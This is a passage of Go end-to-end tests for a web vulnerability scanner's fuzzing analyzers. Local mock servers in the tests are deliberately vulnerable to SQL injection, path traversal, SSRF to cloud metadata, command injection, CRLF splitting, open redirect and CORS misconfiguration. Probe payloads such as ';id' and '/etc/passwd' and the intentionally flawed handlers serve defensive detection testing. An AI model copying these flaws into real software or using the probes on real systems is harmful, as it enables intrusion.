require.True(t, matched)
|
||||
require.Contains(t, reason, "MySQL")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprintf(w, "results for %q", qparam(r))
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "sqli_error", newGeneratedRequest(t, benign.URL, "q", "test"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// LFI / path traversal
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestLFI_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
q := qparam(r)
|
||||
switch {
|
||||
case strings.Contains(q, "etc/passwd"):
|
||||
_, _ = fmt.Fprint(w, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n")
|
||||
case strings.Contains(strings.ToLower(q), "win.ini"):
|
||||
_, _ = fmt.Fprint(w, "; for 16-bit app support\r\n[fonts]\r\n")
|
||||
default:
|
||||
_, _ = fmt.Fprint(w, "file not found")
|
||||
}
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "lfi", newGeneratedRequest(t, vuln.URL, "q", "home.txt"), newClient(true))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "/etc/passwd")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "file not found")
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "lfi", newGeneratedRequest(t, benign.URL, "q", "home.txt"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// SSRF (cloud metadata)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestSSRF_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
q := qparam(r)
|
||||
if strings.Contains(q, "169.254.169.254") || strings.Contains(q, "metadata.google.internal") {
|
||||
_, _ = fmt.Fprint(w, `{"accountId":"123456789012","imageId":"ami-0abcd1234ef567890","instanceId":"i-0abcd1234ef567890","region":"us-east-1"}`)
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "fetched: nothing interesting")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "ssrf", newGeneratedRequest(t, vuln.URL, "q", "https://example.com/avatar.png"), newClient(true))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "AWS")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "fetched ok")
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "ssrf", newGeneratedRequest(t, benign.URL, "q", "https://example.com/a.png"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// OS command injection (in-band)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestCMDi_E2E(t *testing.T) {
|
||||
seps := []string{";id", "|id", "||id", "&&id", "&id", "`id`", "$(id)", "\nid"}
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
q := qparam(r)
|
||||
for _, s := range seps {
|
||||
if strings.Contains(q, s) {
|
||||
_, _ = fmt.Fprint(w, "uid=0(root) gid=0(root) groups=0(root)")
|
||||
return
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprintf(w, "ping output for %s", q)
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "cmdi", newGeneratedRequest(t, vuln.URL, "q", "127.0.0.1"), newClient(true))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "cmdi")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprintf(w, "ping output for %s", qparam(r))
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "cmdi", newGeneratedRequest(t, benign.URL, "q", "127.0.0.1"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CRLF injection / response splitting
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestCRLF_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// naive Location built from user input, splitting on newlines (the bug)
|
||||
q := qparam(r)
|
||||
for _, line := range strings.Split(q, "\n") {
|
||||
line = strings.TrimRight(line, "\r")
|
||||
idx := strings.Index(line, ": ")
|
||||
if idx <= 0 || strings.ContainsAny(line[:idx], " \t") {
|
||||
continue
|
||||
}
|
||||
name, val := line[:idx], line[idx+2:]
|
||||
if strings.EqualFold(name, "Set-Cookie") {
|
||||
w.Header().Add("Set-Cookie", val)
|
||||
} else {
|
||||
w.Header().Set(name, val)
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "crlf", newGeneratedRequest(t, vuln.URL, "q", "/home"), newClient(false))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "crlf")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "crlf", newGeneratedRequest(t, benign.URL, "q", "/home"), newClient(false))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Open redirect
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestOpenRedirect_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// reflects the user-controlled destination straight into Location
|
||||
w.Header().Set("Location", qparam(r))
|
||||
w.WriteHeader(http.StatusFound)
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "open_redirect", newGeneratedRequest(t, vuln.URL, "q", "/dashboard"), newClient(false))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "open redirect")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// always redirects to a fixed, trusted location regardless of input
|
||||
w.Header().Set("Location", "/dashboard")
|
||||
w.WriteHeader(http.StatusFound)
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "open_redirect", newGeneratedRequest(t, benign.URL, "q", "/dashboard"), newClient(false))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CORS misconfiguration
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestCORS_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if origin := r.Header.Get("Origin"); origin != "" {
|
||||
w.Header().Set("Access-Control-Allow-Origin", origin) // reflects arbitrary origin
|
||||
w.Header().Set("Access-Control-Allow-Credentials", "true")
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "cors", newGeneratedRequest(t, vuln.URL, "q", "x"), newClient(true))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "cors")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// only allows a single trusted origin
|
||||
w.Header().Set("Access-Control-Allow-Origin", "https://trusted.example.com")
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "cors", newGeneratedRequest(t, benign.URL, "q", "x"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Host header injection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func TestHostHeader_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.Header.Get("X-Forwarded-Host")
|
||||
if host == "" {
|
||||
host = r.Host
|
||||
}
|
||||
_, _ = fmt.Fprintf(w, `<a href="https://%s/reset?token=abc">reset</a>`, host)
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
matched, reason := run(t, "host_header_injection", newGeneratedRequest(t, vuln.URL, "q", "x"), newClient(true))
|
||||
require.True(t, matched)
|
||||
require.Contains(t, reason, "host header injection")
|
||||
|
||||
benign := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
// always uses a fixed, trusted host
|
||||
_, _ = fmt.Fprint(w, `<a href="https://app.example.com/reset?token=abc">reset</a>`)
|
||||
}))
|
||||
defer benign.Close()
|
||||
matched, _ = run(t, "host_header_injection", newGeneratedRequest(t, benign.URL, "q", "x"), newClient(true))
|
||||
require.False(t, matched)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Auth-header preservation across follow-up probes
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// TestAuthHeaderPreserved_E2E proves the analyzer's rebuilt probe requests carry
|
||||
// post-parse injected headers (e.g. the Authorization header an authprovider
|
||||
// would add). The server only reveals the SQL error to authenticated requests,
|
||||
// so detection succeeds only if the header survived Rebuild — exactly what the
|
||||
// shared SetValueAndRebuild helper guarantees.
|
||||
func TestAuthHeaderPreserved_E2E(t *testing.T) {
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("Authorization") != "Bearer s3cr3t" {
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
_, _ = fmt.Fprint(w, "unauthorized")
|
||||
return
|
||||
}
|
||||
if strings.ContainsAny(qparam(r), "'\"") {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = fmt.Fprint(w, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax")
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
// authenticated: header injected post-parse, like the authprovider does
|
||||
gr := newGeneratedRequest(t, vuln.URL, "q", "test")
|
||||
gr.Request.Header.Set("Authorization", "Bearer s3cr3t")
|
||||
matched, _ := run(t, "sqli_error", gr, newClient(true))
|
||||
require.True(t, matched, "auth header must be preserved on rebuilt probes for detection")
|
||||
|
||||
// control: no auth header => server always 401 => nothing detectable. Proves
|
||||
// the positive result depended on header preservation, not luck.
|
||||
matched2, _ := run(t, "sqli_error", newGeneratedRequest(t, vuln.URL, "q", "test"), newClient(true))
|
||||
require.False(t, matched2, "without the auth header the server stays benign (401)")
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Non-query component (JSON body) end-to-end
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// TestBodyComponentCMDi_E2E drives an analyzer through a real JSON body
|
||||
// Component instead of the query component, exercising body mutation + rebuild.
|
||||
func TestBodyComponentCMDi_E2E(t *testing.T) {
|
||||
seps := []string{";id", "|id", "&&id", "$(id)", "`id`"}
|
||||
vuln := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
data, _ := io.ReadAll(r.Body)
|
||||
s := string(data)
|
||||
for _, sep := range seps {
|
||||
if strings.Contains(s, sep) {
|
||||
_, _ = fmt.Fprint(w, "uid=0(root) gid=0(root) groups=0(root)")
|
||||
return
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "pong")
|
||||
}))
|
||||
defer vuln.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodPost, vuln.URL+"/", strings.NewReader(`{"host":"127.0.0.1"}`))
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Content-Type", "application/json")
|
||||
|
||||
b := component.NewBody()
|
||||
parsed, err := b.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed, "body component must parse JSON")
|
||||
|
||||
gr := fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: b,
|
||||
Parameter: "host",
|
||||
Key: "host",
|
||||
Value: "127.0.0.1",
|
||||
OriginalValue: "127.0.0.1",
|
||||
}
|
||||
matched, reason := run(t, "cmdi", gr, newClient(true))
|
||||
require.True(t, matched, "cmdi should be detected through a JSON body component")
|
||||
require.Contains(t, reason, "cmdi")
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Component breadth: the same analyzer must work across all fuzzable component
|
||||
// types (query already covered above; here header, cookie and path).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// sqlErrorIf returns a handler that emits a MySQL error when value contains a
|
||||
// quote, else a benign page. extract pulls the relevant value from the request.
|
||||
func sqlErrorIf(extract func(*http.Request) string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.ContainsAny(extract(r), "'\"") {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = fmt.Fprint(w, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax")
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
}
|
||||
}
|
||||
|
||||
func grFor(t *testing.T, raw *retryablehttp.Request, comp component.Component, key, origValue string) fuzz.GeneratedRequest {
|
||||
t.Helper()
|
||||
parsed, err := comp.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed, "%s component must parse", comp.Name())
|
||||
return fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: comp,
|
||||
Parameter: key,
|
||||
Key: key,
|
||||
Value: origValue,
|
||||
OriginalValue: origValue,
|
||||
}
|
||||
}
|
||||
|
||||
func TestSQLi_HeaderComponent_E2E(t *testing.T) {
|
||||
srv := httptest.NewServer(sqlErrorIf(func(r *http.Request) string { return r.Header.Get("X-Search") }))
|
||||
defer srv.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, srv.URL+"/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("X-Search", "term")
|
||||
|
||||
matched, _ := run(t, "sqli_error", grFor(t, raw, component.NewHeader(), "X-Search", "term"), newClient(true))
|
||||
require.True(t, matched, "sqli must be detected when fuzzing a header component")
|
||||
}
|
||||
|
||||
func TestSSTI_CookieComponent_E2E(t *testing.T) {
|
||||
// SQL quote payloads can't survive in a cookie value (Go strips RFC6265
|
||||
// forbidden bytes), so we demonstrate cookie-component fuzzing with SSTI,
|
||||
// whose payload characters ({ } * $) are cookie-legal.
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
c, err := r.Cookie("lang")
|
||||
val := "en"
|
||||
if err == nil {
|
||||
val = c.Value
|
||||
}
|
||||
out := reTpl.ReplaceAllStringFunc(val, func(m string) string {
|
||||
sub := reTpl.FindStringSubmatch(m)
|
||||
return fmt.Sprintf("%d", atoi(sub[1])*atoi(sub[2]))
|
||||
})
|
||||
_, _ = fmt.Fprintf(w, "<html><body>lang=%s</body></html>", out)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, srv.URL+"/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "lang=en")
|
||||
|
||||
matched, _ := run(t, "ssti", grFor(t, raw, component.NewCookie(), "lang", "en"), newClient(true))
|
||||
require.True(t, matched, "ssti must be detected when fuzzing a cookie component")
|
||||
}
|
||||
|
||||
func TestSQLi_PathComponent_E2E(t *testing.T) {
|
||||
// any quote anywhere in the decoded path triggers the error
|
||||
srv := httptest.NewServer(sqlErrorIf(func(r *http.Request) string {
|
||||
dec, _ := url.PathUnescape(r.URL.EscapedPath())
|
||||
return dec
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, srv.URL+"/user/75/profile", nil)
|
||||
require.NoError(t, err)
|
||||
|
||||
path := component.NewPath()
|
||||
parsed, err := path.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
|
||||
// locate the path segment whose value is "75"
|
||||
var key string
|
||||
require.NoError(t, path.Iterate(func(k string, v interface{}) error {
|
||||
if fmt.Sprint(v) == "75" {
|
||||
key = k
|
||||
}
|
||||
return nil
|
||||
}))
|
||||
require.NotEmpty(t, key, "expected to find the id path segment")
|
||||
|
||||
gr := fuzz.GeneratedRequest{Request: raw, Component: path, Parameter: key, Key: key, Value: "75", OriginalValue: "75"}
|
||||
matched, _ := run(t, "sqli_error", gr, newClient(true))
|
||||
require.True(t, matched, "sqli must be detected when fuzzing a path component")
|
||||
}
|
||||
|
||||
func atoi(s string) int {
|
||||
n := 0
|
||||
for _, r := range s {
|
||||
n = n*10 + int(r-'0')
|
||||
}
|
||||
return n
|
||||
}
|
||||
@@ -0,0 +1,312 @@
|
||||
// This file drives the *real* nuclei DAST/fuzzing pipeline end to end, not just
|
||||
// the analyzer's Analyze() helper. For each analyzer it compiles a real http
|
||||
// Request template carrying a `fuzzing:` rule + an `analyzer:` + a DSL matcher
|
||||
// (`analyzer == true`), then runs Request.ExecuteWithResults against a genuinely
|
||||
// vulnerable in-repo application (newDastApp). This exercises the production
|
||||
// chain: rule compilation -> component discovery + mutation -> request transport
|
||||
// -> analyzer invocation (request.go) -> operator/matcher evaluation -> finding.
|
||||
//
|
||||
// The app is hermetic (httptest, no Docker/network), so it is deterministic and
|
||||
// CI-safe while still reproducing real DAST conditions across all component
|
||||
// positions (query, path, cookie, body, header).
|
||||
package e2e
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
|
||||
nucleihttp "github.com/projectdiscovery/nuclei/v3/pkg/protocols/http"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/types"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// newDastApp is a single hermetic application that is genuinely vulnerable on
|
||||
// every route, mirroring the behaviors the analyzers detect. Each route reads a
|
||||
// user-controlled value from a different request position.
|
||||
func newDastApp() *httptest.Server {
|
||||
cmdiSeps := []string{";id", "|id", "||id", "&&id", "&id", "`id`", "$(id)", "\nid"}
|
||||
containsCmdi := func(s string) bool {
|
||||
for _, sep := range cmdiSeps {
|
||||
if strings.Contains(s, sep) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
sqlErr := func(w http.ResponseWriter) {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = fmt.Fprint(w, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''")
|
||||
}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// SQLi in query param
|
||||
mux.HandleFunc("/sqli", func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.ContainsAny(r.URL.Query().Get("q"), "'\"`\\") {
|
||||
sqlErr(w)
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// SQLi in path: /user/<id>/profile
|
||||
mux.HandleFunc("/user/", func(w http.ResponseWriter, r *http.Request) {
|
||||
dec, _ := url.PathUnescape(r.URL.EscapedPath())
|
||||
if strings.ContainsAny(dec, "'\"") {
|
||||
sqlErr(w)
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// SQLi in a JSON body parameter (name) on a POST route. We inspect the
|
||||
// decoded field value (not the structural JSON quotes) so the baseline
|
||||
// request stays benign and only an injected quote triggers the error.
|
||||
mux.HandleFunc("/account", func(w http.ResponseWriter, r *http.Request) {
|
||||
var m map[string]any
|
||||
if err := json.NewDecoder(r.Body).Decode(&m); err == nil {
|
||||
if name, ok := m["name"].(string); ok && strings.ContainsAny(name, "'\"") {
|
||||
sqlErr(w)
|
||||
return
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// SQLi in cookie value (lang)
|
||||
mux.HandleFunc("/posts", func(w http.ResponseWriter, r *http.Request) {
|
||||
if c, err := r.Cookie("lang"); err == nil && strings.ContainsAny(c.Value, "'\"") {
|
||||
sqlErr(w)
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// SSTI in query param (real template-engine-like evaluation)
|
||||
mux.HandleFunc("/render", func(w http.ResponseWriter, r *http.Request) {
|
||||
out := reTpl.ReplaceAllStringFunc(r.URL.Query().Get("q"), func(m string) string {
|
||||
sub := reTpl.FindStringSubmatch(m)
|
||||
return fmt.Sprintf("%d", atoi(sub[1])*atoi(sub[2]))
|
||||
})
|
||||
_, _ = fmt.Fprintf(w, "<html><body>%s</body></html>", out)
|
||||
})
|
||||
|
||||
// LFI / path traversal in query param
|
||||
mux.HandleFunc("/file", func(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
switch {
|
||||
case strings.Contains(q, "etc/passwd"):
|
||||
_, _ = fmt.Fprint(w, "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n")
|
||||
case strings.Contains(strings.ToLower(q), "win.ini"):
|
||||
_, _ = fmt.Fprint(w, "; for 16-bit app support\r\n[fonts]\r\n")
|
||||
default:
|
||||
_, _ = fmt.Fprint(w, "file not found")
|
||||
}
|
||||
})
|
||||
|
||||
// CMDi in query param
|
||||
mux.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request) {
|
||||
if containsCmdi(r.URL.Query().Get("q")) {
|
||||
_, _ = fmt.Fprint(w, "uid=0(root) gid=0(root) groups=0(root)")
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprintf(w, "ping output for %s", r.URL.Query().Get("q"))
|
||||
})
|
||||
|
||||
// SSRF in query param (cloud metadata)
|
||||
mux.HandleFunc("/fetch", func(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query().Get("q")
|
||||
if strings.Contains(q, "169.254.169.254") || strings.Contains(q, "metadata.google.internal") {
|
||||
_, _ = fmt.Fprint(w, `{"accountId":"123456789012","imageId":"ami-0abcd1234ef567890","instanceId":"i-0abcd1234ef567890","region":"us-east-1"}`)
|
||||
return
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "fetched: nothing interesting")
|
||||
})
|
||||
|
||||
// Open redirect: reflects destination into Location
|
||||
mux.HandleFunc("/go", func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Location", r.URL.Query().Get("q"))
|
||||
w.WriteHeader(http.StatusFound)
|
||||
})
|
||||
|
||||
// CRLF response splitting: naive header building from input
|
||||
mux.HandleFunc("/crlf", func(w http.ResponseWriter, r *http.Request) {
|
||||
for _, line := range strings.Split(r.URL.Query().Get("q"), "\n") {
|
||||
line = strings.TrimRight(line, "\r")
|
||||
idx := strings.Index(line, ": ")
|
||||
if idx <= 0 || strings.ContainsAny(line[:idx], " \t") {
|
||||
continue
|
||||
}
|
||||
name, val := line[:idx], line[idx+2:]
|
||||
if strings.EqualFold(name, "Set-Cookie") {
|
||||
w.Header().Add("Set-Cookie", val)
|
||||
} else {
|
||||
w.Header().Set(name, val)
|
||||
}
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// CORS misconfiguration: reflects arbitrary Origin with credentials
|
||||
mux.HandleFunc("/cors", func(w http.ResponseWriter, r *http.Request) {
|
||||
if origin := r.Header.Get("Origin"); origin != "" {
|
||||
w.Header().Set("Access-Control-Allow-Origin", origin)
|
||||
w.Header().Set("Access-Control-Allow-Credentials", "true")
|
||||
}
|
||||
_, _ = fmt.Fprint(w, "ok")
|
||||
})
|
||||
|
||||
// Host header injection: reflects X-Forwarded-Host into a link
|
||||
mux.HandleFunc("/host", func(w http.ResponseWriter, r *http.Request) {
|
||||
host := r.Header.Get("X-Forwarded-Host")
|
||||
if host == "" {
|
||||
host = r.Host
|
||||
}
|
||||
_, _ = fmt.Fprintf(w, `<a href="https://%s/reset?token=abc">reset</a>`, host)
|
||||
})
|
||||
|
||||
return httptest.NewServer(mux)
|
||||
}
|
||||
|
||||
// pipelineResult captures what the real engine surfaced for a target.
|
||||
type pipelineResult struct {
|
||||
matched bool
|
||||
analyzerFlag bool
|
||||
analyzerDetails string
|
||||
}
|
||||
|
||||
// runPipeline compiles and executes a real fuzzing+analyzer template against the
|
||||
// given absolute target URL (which already contains the parameters to fuzz),
|
||||
// returning whether the engine produced a finding driven by the analyzer.
|
||||
func runPipeline(t *testing.T, opts *types.Options, analyzer, part string, targetURL string, keys []string) pipelineResult {
|
||||
t.Helper()
|
||||
return runPipelineCtx(t, opts, analyzer, part, keys, contextargs.NewWithInput(context.Background(), targetURL))
|
||||
}
|
||||
|
||||
// runPipelineCtx is the shared core: it accepts a fully built input context
|
||||
// (URL-based or ReqResp-based, e.g. from a katana crawl) and runs the real
|
||||
// fuzzing+analyzer template against it.
|
||||
func runPipelineCtx(t *testing.T, opts *types.Options, analyzer, part string, keys []string, ctxArgs *contextargs.Context) pipelineResult {
|
||||
t.Helper()
|
||||
|
||||
templateID := "dast-" + analyzer + "-" + part
|
||||
rule := &fuzz.Rule{
|
||||
Type: "replace",
|
||||
Part: part,
|
||||
Mode: "single",
|
||||
Fuzz: fuzz.SliceOrMapSlice{Value: []string{"1337"}},
|
||||
}
|
||||
if len(keys) > 0 {
|
||||
rule.Keys = keys
|
||||
}
|
||||
req := &nucleihttp.Request{
|
||||
ID: templateID,
|
||||
Method: nucleihttp.HTTPMethodTypeHolder{MethodType: nucleihttp.HTTPGet},
|
||||
Path: []string{"{{BaseURL}}"},
|
||||
Fuzzing: []*fuzz.Rule{rule},
|
||||
Analyzer: &analyzers.AnalyzerTemplate{
|
||||
Name: analyzer,
|
||||
},
|
||||
Operators: operators.Operators{
|
||||
Matchers: []*matchers.Matcher{{
|
||||
Type: matchers.MatcherTypeHolder{MatcherType: matchers.DSLMatcher},
|
||||
DSL: []string{"analyzer == true"},
|
||||
}},
|
||||
},
|
||||
}
|
||||
|
||||
execOpts := testutils.NewMockExecuterOptions(opts, &testutils.TemplateInfo{
|
||||
ID: templateID,
|
||||
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.High}, Name: "dast-" + analyzer},
|
||||
})
|
||||
require.NoError(t, req.Compile(execOpts), "compile %s template", analyzer)
|
||||
|
||||
var res pipelineResult
|
||||
metadata := make(output.InternalEvent)
|
||||
previous := make(output.InternalEvent)
|
||||
err := req.ExecuteWithResults(ctxArgs, metadata, previous, func(event *output.InternalWrappedEvent) {
|
||||
if event.OperatorsResult != nil && event.OperatorsResult.Matched {
|
||||
res.matched = true
|
||||
}
|
||||
if event.InternalEvent != nil {
|
||||
if v, ok := event.InternalEvent["analyzer"]; ok {
|
||||
if b, ok := v.(bool); ok && b {
|
||||
res.analyzerFlag = true
|
||||
}
|
||||
}
|
||||
if d, ok := event.InternalEvent["analyzer_details"]; ok {
|
||||
res.analyzerDetails = fmt.Sprint(d)
|
||||
}
|
||||
}
|
||||
})
|
||||
require.NoError(t, err, "execute %s template", analyzer)
|
||||
return res
|
||||
}
|
||||
|
||||
func TestDastPipeline_AllAnalyzers_E2E(t *testing.T) {
|
||||
options := testutils.DefaultOptions
|
||||
testutils.Init(options)
|
||||
|
||||
app := newDastApp()
|
||||
defer app.Close()
|
||||
|
||||
// route + part + (optional) keys per analyzer, with parameters embedded in URL
|
||||
cases := []struct {
|
||||
name string
|
||||
analyzer string
|
||||
part string
|
||||
target string
|
||||
keys []string
|
||||
}{
|
||||
{"sqli-query", "sqli_error", "query", app.URL + "/sqli?q=seed", []string{"q"}},
|
||||
{"sqli-path", "sqli_error", "path", app.URL + "/user/75/profile", nil},
|
||||
{"ssti-query", "ssti", "query", app.URL + "/render?q=seed", []string{"q"}},
|
||||
{"lfi-query", "lfi", "query", app.URL + "/file?q=home.txt", []string{"q"}},
|
||||
{"cmdi-query", "cmdi", "query", app.URL + "/ping?q=127.0.0.1", []string{"q"}},
|
||||
{"ssrf-query", "ssrf", "query", app.URL + "/fetch?q=" + url.QueryEscape("https://example.com/a.png"), []string{"q"}},
|
||||
{"open_redirect-query", "open_redirect", "query", app.URL + "/go?q=" + url.QueryEscape("/dashboard"), []string{"q"}},
|
||||
